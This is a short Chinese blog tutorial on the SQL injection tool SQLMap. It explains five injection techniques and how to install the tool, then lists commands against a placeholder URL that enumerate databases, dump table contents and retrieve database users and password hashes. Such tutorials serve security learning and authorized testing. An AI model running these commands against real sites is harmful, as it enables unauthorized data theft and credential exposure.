什么是SQLMap?
sqlmap是一个自动化的sql注入工具,其主要功能是扫描、发现并利用给定URL的SQL注入漏洞,还可以检测XSS漏洞,内置了很多绕过的插件,支持的数据库有:MySQL、Oracle、postgreSQL、SQLserver、Access、DB2、SQLite、Firebird、Sybase和SAP MaxDB。SQLMap主要使用五种SQL注入技术。
- 报错注入:页面返回错误消息,或把注入的语句直接返回页面中。
- 时间盲注:不能根据页面返回的内容判断任何信息,采用条件语句查看时间延长语句是否执行来判断。(如果执行页面返回的时间会增加)
- 布尔盲注:即可以根据返回页面判断条件真假的注入。
- 联合查询注入:在可以使用Union的情况下的注入。
- 堆查询注入:可以同时执行多条语句时的注入。
安装SQLMap
使用SQLMap需要python环境。(注意:不支持python3)。
首先,我们在 python官网下载安装包,并一键安装,安装完成后,复制python的安装目录,添加到环境变量中。
然后在 SQLMap官网下载最新版的SQLMap(我个人使用的是Kali Linux系统,集成了SQLMap工具)。把下载的SQLMap放入到python的安装目录下,并把SQLMap目录添加到环境变量中。打开cmd,输入sqlmap.py命令后工具即可正常运行
SQLMap入门
1、判断是否有存在注入
sqlmap.py -u http://www.xxx/index.php/?id=1
2、判断文本中的请求是否存在注入
sqlmap.py -r 1.txt # -r读取文件,文件中存入请求头
3、查询当前用户下的所有数据库
sqlmap.py -u http://www.xxx/index.php/?id=1 --dbs
4、获取数据库中的表名
sqlmap.py -u http://www.xxx/index.php/?id=1 --D 库名 --tables
5、获取表中的字段名
sqlmap.py -u http://www.xxx/index.php/?id=1 --D 库名 -T 表名 --columns
6、获取字段内容
sqlmap.py -u http://www.xxx/index.php/?id=1 --D 库名 -T 表名 -C 字段1,字段2 --dump
7、获取数据库的所有用户
sqlmap.py -u http://www.xxx/index.php/?id=1 --users
8、获取数据库用户的密码
sqlmap.py -u http://www.xxx/index.php/?id=1 --passwords
9、获取当前网站数据库的名称
sqlmap.py -u http://www.xxx/index.php/?id=1 --current-db
10、获取当前网站数据库的用户名称
sqlmap.py -u http://www.xxx/index.php/?id=1 --current-user
好了,以上是SQLMap的入门使用方式。下载的工具指令为sqlmap.py,如果使用的是Kali Linux系统下的工具,直接sqlmap即可,不需要py。如果想查看SQLMap帮助的话,使用 -h 参数,使用 -hh 是详细帮助。SQLMap参数一共分为9打模块,后续我会写对所有模块参数进行详解。
欢迎大家关注我的博客。
更多推荐
SQLMap的入门教程
发布评论